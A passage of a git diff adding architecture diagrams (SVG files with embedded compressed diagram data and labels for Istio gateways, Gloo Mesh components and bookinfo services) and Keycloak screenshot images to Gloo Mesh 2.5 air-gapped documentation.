NcdTAwMWbTjvVTTYVBbFx1MDAxY1x1MDAxMFSDNWKgsVqfXHUwMDE0tyhQJFwi1FRbQvjLl+pxo25zrdF1UPJcctuKN6518EGgPFx1MDAxMKy9f2Tq3eMyouVTXHUwMDExXHUwMDA3XHUwMDA1glx1MDAxNNhcXEBpXHUwMDFj0+WsPTCEQV9cdFx0yplcdFNe2L1cXM9exaG5yedVlGFTXHUwMDExnth9hItcYlx1MDAwZm5cIm9cdFx1MDAxMDuAXHUwMDEyrNCadFx1MDAwM7OSULExqO+Ly7a3q1it33qg6ctkhfHO3euwMow5iVx1MDAxMWTS1Vx1MDAwMMhrsKgpTMBWXGZ/IUaMqWtcbntI031ULU7gt5RtW1x1MDAxNKyeY0ZjRVx1MDAwMO9hunRcdTAwMDK9qJ5cbqKPc9NcdTAwMWLA1FdFdG1SX0m2udP2j09XqDo42aZd21x1MDAxZZlq4Fxcb+Vy8u5cdTAwMGJcdTAwMWNR2Vx1MDAwNpDYXHUwMDAyYExcdTAwMThiJqmXrMk2Y+8yQ2uYglx1MDAwNeJcdTAwMGXe9pJtjFx1MDAwMUQkXHUwMDFjkFx1MDAwMzHVdFx1MDAxY1willxyiVx1MDAwMIbkWHKgXHUwMDAwXHUwMDEwyWvAjVx1MDAxMID/mm48jPziwu38garkdb1+r1HqOXVcdTAwMTnDT13ccsFI1FRqXHUwMDEyYGWZwCFcImyHd1x1MDAwYowkiEHoXHUwMDFh7Dak0K6F77cpWI00NnUplMlcblx1MDAwNaJzqk2kweDlnJriXHUwMDE0pi8pkmuz+krSLeZK3uZaI+wtpZtnUjp3P1hVQJBcbsx5/9bpcfU099bMZsdn1902vZy2RV28RTspXHUwMDE37Fx1MDAxMVx1MDAwYsxcdTAwMTLTe9i8LjtcdTAwMTWJ0tIysejGRjAxZGxlXsGUW/DT1s3WXHUwMDEw6cOJKIBYQFx1MDAwM0WzSvQxjlx1MDAwZl8rV52r2GMuXiml6rnU+eXfdrr+7uu2x7ghLe/3sPBdfdNcdTAwMTncXHUwMDE2+o/907ebVK1500mfdV2a/W61Z7PzWXOao7H6tHR8SrOPaNq9cZluQI3dnFx1MDAxN2gx7JpcdTAwMTBcYruxm7Cd86xcdTAwMWViMSxcdTAwMTFoXHUwMDFi/2E83ttcdTAwMWbRZlx1MDAwNEJcdFx1MDAwZoVcdTAwMDNWpkWDUjhBNPvFwlx1MDAwNG5cdTAwMTO28ZQ2YmesXHUwMDBiKtilrZutKP/xTeqfzqDcf7dX0v2Ebr9cdTAwMWKwlEdcdTAwMWJcdTAwMDGY8dHPXHTvgVx1MDAwYoUrLpTmUIiTLUryNujVsIBw7bXHajf3hdpcdMvmz6ONXHUwMDBisSAm4Fx1MDAwZVx1MDAxM6FcdTAwMTUzvd/WkCG3TNckk80oXHUwMDE03TNHPVBgKFx07Fx1MDAxMEdcIrx63PvgQsSPj3li/JquXHUwMDBmJuPKzV3rpF9cIt+4MChcXFx1MDAxONLyflx1MDAwZlx1MDAxYt6wk+NUvJVcdTAwMWOd33XaaDrRNULi7ZNcdTAwMDBI4VlVj1G31y1cdTAwMWOPXtu8dFmbJCv9UOGm81x1MDAwMm1cdTAwMGI3beVR9oWbcoN3XHUwMDAzoS28XHUwMDFi3ttcdTAwMWZRuFx0ekx76TFtilwiXHUwMDA3pMdcdTAwMDLBm5gxJDhcdTAwMTWRxZvO5Pnl8eZcdTAwMDaMXHUwMDE2XHUwMDAw3vQ4ZZGuVqGJndoqv8tbmkb0jIVcdTAwMTNqaYZcdTAwMTlcdTAwMTWCKKT06lx1MDAxOcs8XHUwMDAxzNQ+RoQg5W5cdTAwMTTu1X5TXHUwMDAzoFUmSdu8UuRQXHUwMDE0XHUwMDEwZiGIyUKjnHFuuvCssi9TpsAhQ5E9P97AvUFcdTAwMWaxoHm8NqLmSF1KeJVcdTAwMGV9q0w+XHUwMDA0wibJVyisd+xh5c2/R8tcdTAwMDcsXHUwMDEymVx1MDAwNFx1MDAwN1x0lr1cdTAwMDb7XHUwMDFlO55pm06IoFx1MDAxOFx1MDAxNHxFMrJ+pv3Fmm+6kre5YuuUvVx1MDAxOO8v+8/thZtX6lx1MDAxYUXG0bNFnXlvTFx1MDAxN1HpJrWpX0CB4kxRebJcXP2EaFwigf5N8SNt0lx1MDAwMWhYndNh/5mpsWS6s2vslL6KLYZcdTAwMTgwKlXc1G1gaFxynTCASCZcIjayJ8jBiDffssRkkGttXHUwMDFh8lx1MDAwMbQ057DcobmwXHSNXCLcXHUwMDE0yTN908Wu4THJ22nquHZcdTAwMWUv5mYs3muf6W5+5Fx1MDAxOI9cYvJcckjJVFx1MDAwNeFcdTAwMDLDP7BYXHUwMDBmj5FcdTAwMTaT3JSh1lx1MDAxNEtcdTAwMDJLXHUwMDE3hHg7XFx0jCtxmyu2TteBXHQ37V7LkkrFselcbuhbuHmfu0RTuFx0wS2FwcDi1NSuYKvIjZgmXHUwMDFhQGlEmmovOqTO6fO+pqY2XHUwMDEzn5fqc1xua1x1MDAwNk6lXHUwMDE0XHUwMDExLKlcdTAwMTFinK8npVxibJqtbU5K+eLCzduxvlxmlDBcdTAwMDJQbuqBXHUwMDEwo72kY1xiseRcYkkhgdRcdTAwMDGf/0rI3Das+e2yNZvE0aSHmjGRfLl5OZ5JN/BcdTAwMDZyjVx1MDAxM1MvSYKyXHUwMDE0bH1SwmJcdTAwMWOmy0yuhTJ1hr+0cIu5Uvf803XCXHUwMDBlXHUwMDBlubmXXHUwMDFkMWE6c3DsW7h5XHUwMDFm/kZTuCkuLWpcbidppMzrKnKjpo1cdTAwMWM31ivwhlx1MDAxNiFcdLcg7FKspKJaIf0t3D6Qm0ZcdTAwMWGUljI97/RSQpktrlloQiQyaVx1MDAwM0KzXHUwMDFkcza2XGK2xqbnmvHLmv63cNd1Y1lbQFx1MDAwMyBtmYBXRNejXHUwMDExv83SoyOfZ7zCxierwc1cdTAwMTLNXHUwMDBiVfr3jnv3noyqd5xSZSnjXHUwMDAz4dS8LlekJSA1LKBIjIEgTYE4V/nmpzCnm3wjXGIgou1iTtWYibC0/bK5XHUwMDAwf/nNXHUwMDExQlx1MDAxY1x1MDAwMSxcYk3A7XPqXHUwMDFiK9Uuhycn/Sc6qMdzOJesvlTbf9tpfbczrtC7O+9wXHUwMDE45clzXHUwMDE0uyZcdTAwMTRgXG57qMQ2XHUwMDExUKfqLJ1cdTAwMTiOUoVutlwiXHUwMDBijdok91hcdTAwMWHuXHUwMDAyKlZdymGynFiKuF3JXHUwMDA1JYT7YzlcdTAwMWapoP9TKLNCqbDOcjtcdTAwMDbcKlNcdTAwMTZGko3F/lx1MDAwZsNiyZvMSXJcdTAwMTDrTlx1MDAxMyd3qUq5VFx1MDAxOaDCvTMrfFx1MDAwN1ZsP25Iy1x1MDAxYviwm87onW/4XHRi0e2Mnlx1MDAxMtduQKZcdTAwMGVcdTAwMTPSW1x1MDAxOFneq1x1MDAxOVlcdTAwMTBcIoSXRKTYwn4k4mpcdTAwMTRZWCf0iplcdTAwMTRcdTAwMTWk/6hcdTAwMTN6MHH6MLujfzpVuOE4P7Wvc+iH81x1MDAxYvT86uH8r8n+mupcdTAwMWVwRbjmditcdTAwMDVUwOVcdTAwMTZcdTAwMWQrR3GKUuU7hcfiflwixvhiXHUwMDE0P9+pcv9nolx1MDAxNa49eJNcdTAwMTJcdTAwMWNVtEKUYFx1MDAxOMtcdTAwMTCrVOxcdTAwMDNWmsnhRFeSs1Luslm7XHUwMDFinVXvprGbb7BcdTAwMTJcdTAwMTRYXHRpeUNcdTAwMWFcdTAwMTY/dIqi+PBaaJRcdTAwMWZP0XHi9lx1MDAwNI2vorhcbpuwlfNcclx1MDAwZomttGvsgalcdTAwMDGvXHUwMDE52abVovd6Rlx1MDAxN10xT1x0LiOFrlxiXCIm116Tw1x1MDAxOZlcdTAwMDdAV+X8YDguXHUwMDBmhlx1MDAwN4JXXHUwMDFigMkqvPqY7f74iktXXHUwMDE3rHFcdTAwMDQpKrewfopXb9WHdOn6rsFOX++fO/VkZpCNPH9yjVx1MDAwMN5I0/jCvMqVXHUwMDAwZayUZbpfmFx1MDAwMzfKkUdh68P7YKUpqSflXHUwMDAxY5e91GFYPtiH4e372bRRKVaHp/HOcbzcz8RlXHUwMDAw44rnYeEuX7mKlc5fY7n7e35+9uziXHUwMDFhiYZvl7mHMSuiXHUwMDA1ZsI/LzevqzeZRDVcdTAwMTc/XHUwMDE3zye3hfPnh0LmzoWXo2IrgVx1MDAxNrW0XHSVQPPXlf5+hCDsj5P9XHUwMDE4S4SoQtkpzm8nY4kzRFx1MDAxOJJcdTAwMTEtpfA+7j+Parex7nMzO5m1XHUwMDA3zbPHK/ptLFx1MDAwNWUshbS8X2XYTUaN81xyP0HWulx1MDAxOTXMvZskloTSeVFy34LWez2jXG6aXHUwMDA0XHUwMDE2nqJcdTAwMTZri/hcdTAwMTG1oVg1ZFx1MDAxZFx1MDAxOSFcdTAwMDHGJqIovMDpKFo1k2F+NKzZV/fDlLFcdTAwMWRcdTAwMDNvZ8pcZru2p1xcsWM2gIY1O+bn/HZHPFx1MDAxY7lGyMGiaonpXHUwMDE25kvqViU7N3dPXHUwMDBm+UlPXuTfSn2SdosgiVx1MDAwZeShXHUwMDE2cq3mQVx1MDAxOY0q4sHMVKeXiERcdTAwMTPydE/VKz95f6+25U1fiW4lRnnrXHUwMDFi8lx1MDAwNFx1MDAwNXlCWt4/fNhNSMr5hlx1MDAwN0RSXFy4XHUwMDA2I1EjurcqTe+9nNFcdTAwMDVSykuAXHUwMDBiXHUwMDFjKVx1MDAxY2VcdTAwMTL1pcSH9DBcdTAwMWRcdTAwMDBH9eE2R616uz50yYnfXHUwMDE5TG3wXHUwMDBib0Akq3hqaZ67gyqm3Fx1MDAxM0ZcdTAwMTmBdZbb1F6KJSajXHUwMDE0rlx1MDAxNTrjx6tattu6Zej0OfKoXG55WjcysrCKYExcdDOBXHUwMDExkYRVufTb832i2p7lhrXWMPuKXoe976KcgcGqkJb3e9gwht2E1pxveEi0ZsNcYqu1M5UwrVx0tmhcdTAwMDDnvZzRRWvcUzHoaME1QbXgiKo/yuvVL5fqg0+FaVx1MDAxYiDOXHUwMDFhTJtPcCdcdTAwMTa0p1Y7QDOlmS1cdTAwMWZ3I1x1MDAwZk57SUZcdTAwMTKzQfKcXsdcdTAwMGLZdmI2lMG2ulx0oZWXMtHIhGIsselcdTAwMGKwklx1MDAxMopcdTAwMTC2mDSdaU23L+XRXHLCz3G9XHUwMDFiNiPUoXqHXFzLaGdUU5hHeLbSppRPL312oNNtR95Wfnm72up2Y+3yoFx1MDAxNsuXSt3O4J9OJ1x1MDAwZr9cdTAwMDJcdTAwMDGVXHUwMDFkOV7sXHUwMDFhsOPh5V56ilXe9pqgJ8e7ZoFL9/RcdTAwMDRMleLYXHUwMDE08fHN8t67XHUwMDFlTZZXXFyZ1mGm+4TJuV2tIFxi1GZhXGYsj1x1MDAxOONGXHUwMDAyhsLyoNAtTkxjV0I44cqh76pcdTAwMTZcdTAwMTZinGFgecax0Fx1MDAwZT5vrkw5h9+9fI+3Xjla6bVcdTAwMDL2qknmUJiATY3WS+VwXHUwMDBiYIzWiGNYPYTYeqlcdTAwMWNfWeDewWnLk2JARlx1MDAxOFxiyrSBoaYvzdqkMLVcdTAwMDRcdTAwMDFArCSjSCPK1lx1MDAwYm98qVx1MDAxYVx1MDAxN67kba41wl5cZveX/efWsk24d7fCXG6oXHUwMDEybSXbMvpsnH9rXvWGtPhwXptVivwkXHUwMDE5cdkmJVx1MDAwNWpjlFx1MDAwMqI3nSCXO6rDu8JcItxUv+CcUupcdTAwMTF86KPKt5to49RcItqU0eBcdTAwMDZY2TtXLyqTYWExQkH8Sqq5oOt+JySwXHSg/E3KW7i3g3ZcdTAwMTMvlfOH3mzKn64ntfiDbI7e6mmBncRcdTAwMGKyqIkpnVx1MDAxZn1iXHUwMDEz9LVesYwoS2tT3Vx1MDAwNJu6M0jRQIpcdTAwMWZcdTAwMWVOuLhcdTAwMTLY/NM12tpSumxoI+BcdTAwMWEgQIHbTJ90/1x1MDAwMqZfXHUwMDFjxYfj8mkn28pccmKTbGv0lq5GW8AwtJzaqVc9XHUwMDE2hFumKzJcdTAwMDdS45Iw91x1MDAxMjpcdTAwMDdoMFx1MDAwNUpJKGbvcVx1MDAxZiVfdqfdXHUwMDFhTnlBXHUwMDFmJ15v8lx1MDAwZmX0TFSn8+3LXHUwMDBlypdcdTAwMWTS8n6tYcPqXHUwMDA0XHUwMDE1+HQ3ObOdb7hcdTAwMTh2jVnDdmZcdTAwMGLq3l9GI2NtMP+KwXs5I+rMZlx1MDAxOHurXHUwMDA2RixcdTAwMWWUalxiJPiAmTKW7IBcdTAwMTFjXHUwMDA38GZ3usNYvTN3KX2qT3tcdTAwMDPWWfV72ae5O1qji1x1MDAwNrBr9qBcdTAwMTbzftJbXHUwMDE0JzordWr1UneQqbAn1a6c9kbTUmlcdTAwMTe49nmRXHUwMDA3XHUwMDA2rjHb+dKKd5tibZkyutq01cZCubu6/ERcdTAwMWVcdTAwMDSL1pjAmjBcdTAwMWNic+N9wFx1MDAxYeXdXFxudElcdTAwMDeV7HHzqV0/a749XHUwMDA1kFxmXHUwMDEx0rBhYcD32HN2dFvrJluyWLl6KXdnyYFcYmDc2VSq01x1MDAwYpzPlpM5ctd4uaCDqUui+1bjfq1dXHUwMDBifNhNoMr5hlx1MDAwN1x1MDAwNFV0UaF4XHJUMU2R3Fx1MDAwMlN5r2aEMZWX/KYmayYg+Vx1MDAxZFxipMJSKlwi+Fx1MDAxZlx1MDAxNc55XGI4tVx1MDAwMYusXHUwMDE3UPJcdTAwMDGlXFzz05BrkFx1MDAwMOhoptA2UdXj/Eui+jbpXHUwMDBllHx8vjohddS/jniMXHUwMDAwV6ZbXHUwMDExcFx1MDAxOfBcdTAwMThVfMWuwVorXHUwMDBi1sH0XCKTxDQ9crdr9jkvZFx1MDAwZahpPUTAgFol7Fx1MDAxMCtKMVx1MDAwMsfZ8vQ1p1DnjvR65YLCj2ePY396fVx1MDAxZt3jyN6+Y1x1MDAwNGrDYa9Q70QuNMBhXp7s7XpqppBHRIDkQkngcd9cZu69x5FkcIGZRak0bfqUkLaeL79cdTAwMDJcdTAwMDLmh2bYRFxmKMn3q9jhyt9cYkwxQbRcdTAwMDCjjFIwS1x1MDAxZFwigpSytOk8Y/q7XGKu9VpVeHN+TDjBh+P+T4lcdTAwMDfw1iFHK/FcdTAwMDBcdTAwMDJcdTAwMTNcdTAwMDSGpCBcdTAwMTgzW3WoI+d4XHUwMDAwpnesXG5/3lx1MDAxZaFY73Jw1ku/n5XG7StcdTAwMWXrPLpMSlx1MDAxMMBqUnBGqeZwy7U5XHUwMDExZFx1MDAxMU2IXHSB1YZcdTAwMDNcdTAwMDVbm9SXOrFzp25zrdH1Yry/7D+3lmyYeFx1MDAxNKcmpmecIP4tiGqJTVvN4clrpXaabLbFaV9lol8ujDBh75e6XHUwMDE45Vx1MDAwN3iRzKdT1keIsWvFR2lJ26WIQ8tcdTAwMGKbZPjlXHUwMDAwMi5zXHUwMDEz+vx7XGIz91x1MDAxMIClT75cdTAwMTJbu26ruYDnt2RjN/tcdTAwMDO7n7mDTFx1MDAxN4hKofx7cVPTjMbvpHrffcje8GL1Vdev41HnYlx1MDAxMI9cdTAwMTZRXFxiNn+1XHUwMDE543OEXCJcdTAwMTS2XHUwMDAwvSAkwESxcdcuZ+6uVVvlOtPa+kt8XHUwMDE0xuBcZlx1MDAxMIj4slxyU3fyXHUwMDAwvGNHk1x1MDAwMKulb4ZvXHUwMDEywDx24jDiblx1MDAwMVBGwZrU27T0PCfN4mnh7vYmO0SPTN9ORu3TqDNcdTAwMThGXHUwMDA0m96PiElhXpVcdTAwMDOHXHUwMDA1dnjpymPEqUzfXHUwMDFhj2lcdTAwMDRcdTAwMDaZJl+29dNuLEZcIsJiZDdcdTAwMTazN1x1MDAxYlthMcZN8UXsn8NiZ29Xgp/ELlK5e3lbQI2LonZrXHRcdTAwMWVcdTAwMWRcdTAwMGVcdTAwMDOIXHUwMDAwZrRrXUzDYbZcXDfs3jb3M7RcdTAwMThjoE1xiEVr93GjXHLP9Szz/JScNkmin1x1MDAxZo/iMj1KXHUwMDFjyI325+hIj+ZiSJluqJT7d4M/XzJ1L0coVmvmU6p1rp7SXHUwMDA0R56FlYnc11x1MDAxZrbkauaMYWFJsZCUXHUwMDBi6Zk4XHUwMDEzuo5k5lx1MDAxMjjEblx1MDAwMd86MnBcdTAwMWRcdGaDu6GHMNh6bItCiHdJ2uhcdTAwMGZGk1x1MDAwNpGpm5tcdTAwMWXqjMRr40uwXHUwMDE4llxmrNr5K1tlMU6XWMwjXHUwMDFmdVx1MDAxZlx1MDAxZXPIRnPgMS05YFx1MDAxN/Vn8Vx1MDAxOI1cYo/RPeLiXHUwMDA0do2rwIJyplx03qJccs7b+fTmqlx1MDAxNzvr3d63mi+llCalZMRzQLnpcv5cdTAwMTGpilazpCizXHUwMDE4Nr0kXGJcdTAwMDdTcD8kXHUwMDFhcFx1MDAwZYM05XhomCmf+4TFjYu9XG7J3z2+NTvXzX5nfD1cdTAwMWRfY2dkXHUwMDFhhfi1r5bDXHUwMDEw0vJ+rWHDymH4KquwKYrP+YaLYddkQNhRfFx1MDAxMrtHYYN45ZLKLSwn7/WMKKzjXHUwMDEyeelcdTAwMWKOLVx1MDAxZJC+XHSkurVASJraXHUwMDA3XHUwMDA30zFcdTAwMDdcdTAwMDB2XHUwMDAzgEulfL90dNMtOUO8kEL5NsCnVeC3NM/dISBj7kVcdTAwMTmFwExRtEXQT6P5lkT9XHUwMDBlK87iV1x1MDAxNNVOR1x1MDAxNyfZwi5cdTAwMTDw81IjOOAvRj5KpfLlqD5KXGIyjeyZXHUwMDA2g4xJ6e7v//zMXGKKXHUwMDE5JWBcdTAwMGVHM421z1u9jErdnFx1MDAxZt8m6+k0ib91z5/3V6MhXHL7nVx1MDAxOfFcdTAwMTV37atcZrtcdKo53/CAUM2rVC8nnNGtPHDe61x1MDAxOVWoJrSnXqDSXHUwMDEyXHUwMDAx6YUgsFx1MDAxYZeMaIXYXHUwMDFm1V5cdTAwMTGgz9G4PqxcdTAwMWSddd67zq1cdTAwMTXDQmtcdTAwMWKQzipaW5np7niNM9fjJ7BcdTAwMWOYwKa7om/OpGcjXHUwMDE1O21ke4VKMffQyZSqr6dcdTAwMTGvPMJcdTAwMDUxVWx+MeaKY9x0SbKEhi9ITlx1MDAwNaAjjyyMPUpcdTAwMWLtXHUwMDA22MCWwlxuR7SLYuflXCJ1LVKZM85mmaeH6tWEpXl0gdVXc9mFtLwhXHL7oG+1oirXaL5cXParalx1MDAxY1x1MDAxZr2NXHUwMDFiXHUwMDAxrEKmjmJtWXu+b9xfZd9FKybKNZfWJNtcdTAwMTUoR0VZzaN+XHUwMDFhP1xm7/OJOErgN5e6I9vB7PNZc5qjsfq0dHxKs49o2r1xKc691bhcdTAwMTc9mkZj1Eu2T28vXHUwMDA24zFcdTAwMWU+ZoNoWVx1MDAxYTg5bKy/4njDXHUwMDAzXCJXrl2djFpqSYncXCJJ0Xs5I1x1MDAwYlxcpaeCJMLCvlx1MDAxNOQnXHUwMDE1XHUwMDEzp1x1MDAxOFNuR9B/XHUwMDAwcE20ut2jTHlQ+3Qv41x1MDAwNsS3iluXJ7pcdTAwMDds5Vx1MDAxZWWRhFx1MDAwNGLdXCKyuJsulcWdzOerXHUwMDBmg/vbzuvje0VPvlx1MDAxNGqlaoUptbSIXHUwMDA0Plx1MDAxMFx1MDAxONmbIFx1MDAwNVx1MDAxYfK420GzgslcdTAwMTLFQ4yg2lx1MDAwN7WmT65cdTAwMTkqT1x1MDAxYsfTdKkpXvX1Y+Lu+lx1MDAxYrVcdTAwMDaFWkNa3q81bFhcdTAwMDfNgU93XHUwMDEzWHO+4Vx1MDAwMcGacD9cdTAwMTFcdTAwMTYgXHUwMDA2keTYP1jzXs6vXHUwMDAx1lb1XHUwMDAyw8ySPvTCZ0E1zZXQ7I8qlJdcdTAwMWFcZuvdT4dpXHUwMDFiIM4qTFtMcic+5Mq1slx1MDAwYsEm9Vxc8S3KXHUwMDE5N+RjN/HUK72c5kQp/Z6Pl1x1MDAxZVx1MDAxMm7wLDqMqIRlK1q5nFx1MDAxZVxyklxi+/P271x1MDAxYplhy3L+4EO6npdcIpWprqTp4VwiM7xcdTAwMTTbZV/VXHUwMDFln1x1MDAxM7fZN9Eutlx1MDAxM8f160fq02uyj1xucuRz3+VdLsvVcseZyW1h0J9cdTAwMTPU+3Muu+lU6Vx1MDAxYTyP4TOikb3L0MbeXHUwMDA3vedBdnJ+Uyr3XlP0Urau88noJ3EyqSxJXHUwMDA0XHUwMDEyXHUwMDAyXHUwMDFijbXCzWDSKEubSk1cYoFpw0JkZ+mQZubAzqa3Jlx1MDAxMUxE08aS99lZ4zk9eKuQbC+f6ov0XHLKR52dT1v1pVx1MDAxZDkkO/+ciyc7u1dlcu9ljVx1MDAxOadcdTAwMTIpKvxcdTAwMDdoee9lJF0nmJlcYi3QykRSolx1MDAxMLfV8v3BzaC5JWVCUUKU5numZLv3aTJVLoTUXHUwMDFjY0xAhDh0M5HzjFx1MDAxZEKx0iY+X68zOkVKmza/XzVl22dhJm+tcWRvWoLhzvO6lVRxgDVcdTAwMGKn1NFHSyRmXHUwMDExQcA0XHUwMDAyToDtV+tcdTAwMWSRfo8qKjF3XHUwMDEyM9dcdTAwMWFxLcb7y/7TyNz5XHUwMDFk/s73etkhbPHHRv39Xi+PT9zjXHUwMDEy//q5qEZcZpTNY/3nv3/99/9cdTAwMDOGPuFbIn0= + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo-frontendsnamespacebookinfo-backendsnamespaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClient \ No newline at end of file diff --git a/gloo-mesh/platform/2-5/airgap/default/images/steps/deploy-keycloak/bookinfo-oidc.png b/gloo-mesh/platform/2-5/airgap/default/images/steps/deploy-keycloak/bookinfo-oidc.png new file mode 100644 index 0000000000..4f8ca57cfb Binary files /dev/null and b/gloo-mesh/platform/2-5/airgap/default/images/steps/deploy-keycloak/bookinfo-oidc.png differ diff --git a/gloo-mesh/platform/2-5/airgap/default/images/steps/deploy-keycloak/keycloak-authentication-dialog.png b/gloo-mesh/platform/2-5/airgap/default/images/steps/deploy-keycloak/keycloak-authentication-dialog.png new file mode 100644 index 0000000000..ee079688d5 Binary files /dev/null and b/gloo-mesh/platform/2-5/airgap/default/images/steps/deploy-keycloak/keycloak-authentication-dialog.png differ diff --git a/gloo-mesh/platform/2-5/airgap/default/images/steps/deploy-keycloak/self-signed-cert-error.png b/gloo-mesh/platform/2-5/airgap/default/images/steps/deploy-keycloak/self-signed-cert-error.png new file mode 100644 index 0000000000..17674252db Binary files /dev/null and b/gloo-mesh/platform/2-5/airgap/default/images/steps/deploy-keycloak/self-signed-cert-error.png differ diff --git a/gloo-mesh/platform/2-5/airgap/default/images/steps/gateway-expose/gloo-mesh-gateway.svg b/gloo-mesh/platform/2-5/airgap/default/images/steps/gateway-expose/gloo-mesh-gateway.svg new file mode 100644 index 0000000000..a7c7d4a9e0 --- /dev/null +++ b/gloo-mesh/platform/2-5/airgap/default/images/steps/gateway-expose/gloo-mesh-gateway.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19WVcqS7bu+/5cdTAwMTWOfV6LvNE351xyQVHAXHUwMDA2afXWXHUwMDFkXGZ6UPpWPeP89zuDtZZkQmbSS1LbrFx1MDAxYbiXYGRcdTAwMTA5m2/2//PXxcXf449+7e//vvi79l4ptVvVYWn297/M76e14ajV68JbZP7vUW8yrMw/2Vx1MDAxY4/7o//+P/+n1O9bi7+yKr3Or7+stWudWnc8gs/+X/j3xcX/zF9t91x1MDAxYdYq41K30a7N/2D+1uJ2nPPl3973uvNbU6JcdTAwMThi6Ovt1ihcbjdcdTAwMWLXqvBevdRcdTAwMWXVXHUwMDE275hf/c1Sd4VEuvlRu3lcdTAwMTKF8Gv7aproNVx1MDAxN/est9rt9Pij/etblSrNydC2o9F42Hur5VvVcVx1MDAxM97HS7//+rtRXHUwMDBmvv/ir4a9SaPZrY1Gjr/p9UuV1vjD/Fx1MDAwZS22/+tcYv77YvGb9/mXxMxSSHNC569cXH69/fHrbVx1MDAwYn5JXHSjXHUwMDAycy2XN1x1MDAxNum1e0Ozsf9CStZ5ebG1cqny1oD9dauLz2BSVkosPjP7/XVcdFJcdTAwMTaxXUx8faRZazWaY/NcdTAwMTlcIixtv9hiK7X5M9Fcblx0RbkmX2+Y+/dvq1x1MDAwYtr49SBSZZK6S2Re009cdTAwMDPaQbdvZVx1MDAxNn762lx1MDAxNHwgW81fo2j4IfPc6qviQKGBXGLd/v37/f+3/GiapWH/9yP4e2T+YTtcdTAwMDPz9a+WXHTUTqQ28qm+JD/fXHUwMDFh4fzb4zhS/0ySOnlcdTAwMTjnbduyUXRpOOzN/v5653//5bducvKAXHUwMDEy1UqFd8kzqjXew5lW7XmzdVe+8qRfLf1iXHUwMDAwLFx1MDAxOFx1MDAxN0hpKVx1MDAxNdZf77db3Td4sztpt/+y7WxLlmTKiyWx5JIrxanYmCs7cTK8uaHvVzzCnqZcdTAwMTVeXHUwMDBiZdUs8FxcyVx1MDAxOLGEVlxmk/krZVx1MDAwZa4kXHUwMDFhWZJJzlx1MDAwNFdcdTAwMTTOXHUwMDFmM0+2ZJojLv3Zklx1MDAxMFWuubAlJlx1MDAwNDl4TrmwpVrhQ5BcdTAwMTNcXGDBhTpcdTAwMWQjzr/hjow4eSuKTvst9pLNXFxd53u9Zrr/qFx1MDAwZcCI+Za+S5VcdTAwMGJcdM6HhcrHY1xmXHUwMDE1XHUwMDEztWSgXHUwMDE5UXrqRoKEJIRS2zNex4iT2PMoP5h2dWha/mCNUjh9nUxcdTAwMDWeXHUwMDExJaN2RmRORqSEOlx1MDAxOJFcYk9GPL1+pCA5KZNcdTAwMDKdji1PpFx1MDAxZk/DPlRcdTAwMGIv9sFaMFx1MDAwNFx1MDAxNCE2R5c3uEZaj1wiVeF8XHUwMDE0pdFCNlx1MDAxYZ92g84+XGZpbFHBkdTmVaElPSaYRTbTY2h++bLPeFjqjvqlIVx1MDAxMNMqXHUwMDBiwVx1MDAxM3ayxypcdTAwMDcpXHUwMDA1Otd28WVcdTAwMDbCiksklWIn5KB9XHUwMDE0XHUwMDFiXHJ1aLhRjNyEdL2ULoavXHUwMDEyk2LrXHUwMDAwiu0+X8qH4rnX6G1LPnaHtTtcdTAwMTFcdTAwMWQ0XHUwMDBlyZlcdTAwMDRcdTAwMWSWM0FxeXImgEtJNOVkY85s3L7me5/ZXFx8/MijfFimzcth8Fx1MDAxMSZmMiCcqeh6zsTLvChcdTAwMTiRQmIpgsuK30zUYKZ7ozWNOCebY7XLhyZcbqlioVx1MDAxOSnEroup6tsjemaBJ2kmtIU9jSaK9aZG0+mxXHUwMDFhlkggQf+BvozTaFx1MDAwNGrze61iNUAx2C5q1rFcdTAwMGZcdTAwMWE14oXMNNFcYlx1MDAxNVU+mut2RtEk+T72QbuxXHUwMDBmVnONgI3TXHUwMDEzXHUwMDEx6nRcdTAwMDRcdTAwMDI1WpxTRICBkOLoSFx1MDAxZVx1MDAwN1x0esfOXHUwMDE4dJV5qE1DfFx1MDAwMTO4XHUwMDE4VijAwOy7IVx1MDAwZfMkaI6EMN7ezW2PYnNcXJ5Gq7gjbnk3k+3E6ul6OujqXHUwMDAwjHVtRzhOcqbUiW+Oolx1MDAwYiRC66BcciYr0IZcdTAwMGJNXHUwMDE0XHUwMDEzgp2OmP9Zsp942+kgVTBcdTAwMDdpyDbmXHUwMDE1mlx1MDAxZKLG7fX7XYHdX4Y7xT5/bZSDzytcdTAwMWN58lxu4GzgXHUwMDE1TohcdTAwMDSOXHUwMDAxKM6PxSsuQFx0wFx1MDAxNLJfdJlZJGAkLjA9oVx1MDAxZLBcdTAwMGazqOkgXcyWXHUwMDFlhqrxKTOR3M0leuRBZlx1MDAxNmJzWS3rXHUwMDE1Rlx1MDAxMFx1MDAxNdvwSnE0XGJ/JipXs7eqptXH99ZDr5P04JUlmndyyjJcdTAwMWE5pkNYXGJcdTAwMWa7mVxuvKmRoVx1MDAwNKnpij+zlGusXFwtu+AkgElcdTAwMWV88cU7fFx1MDAwNSZcdTAwMTHEmKFcZnXCwMxezPJUr7Rcbvn0w0euM3n7yI5cdTAwMWFXt1x1MDAxMXdmXHUwMDE5197Hm7qv5LhVXHUwMDFl1T5cdTAwMTWJXHUwMDE3Wu1Cp1x1MDAxZapcdTAwMTUo24xcdTAwMDd9170qplwi+I7FZ73yXHUwMDFkfiyMdeLmPX2AdSvTckxGu5evmVx1MDAxNk2rm4/Ma+SqfIB1XHUwMDBmfryOT/9r01x1MDAxYn6DhHNsyCHcvCPPikhBkSabo2b/81xmKFx1MDAxMqBS+nns6Vx1MDAxY1x1MDAwYmwk3+rza3e/IOaLtb+Emi014LdQU1x1MDAxYYNRinCAXHUwMDAxwE5cdTAwMDS8oJNed5xuff7y4zl+e13qtNpcdTAwMWaORz2nbNhSq9tcdTAwMTjC7i7+3W3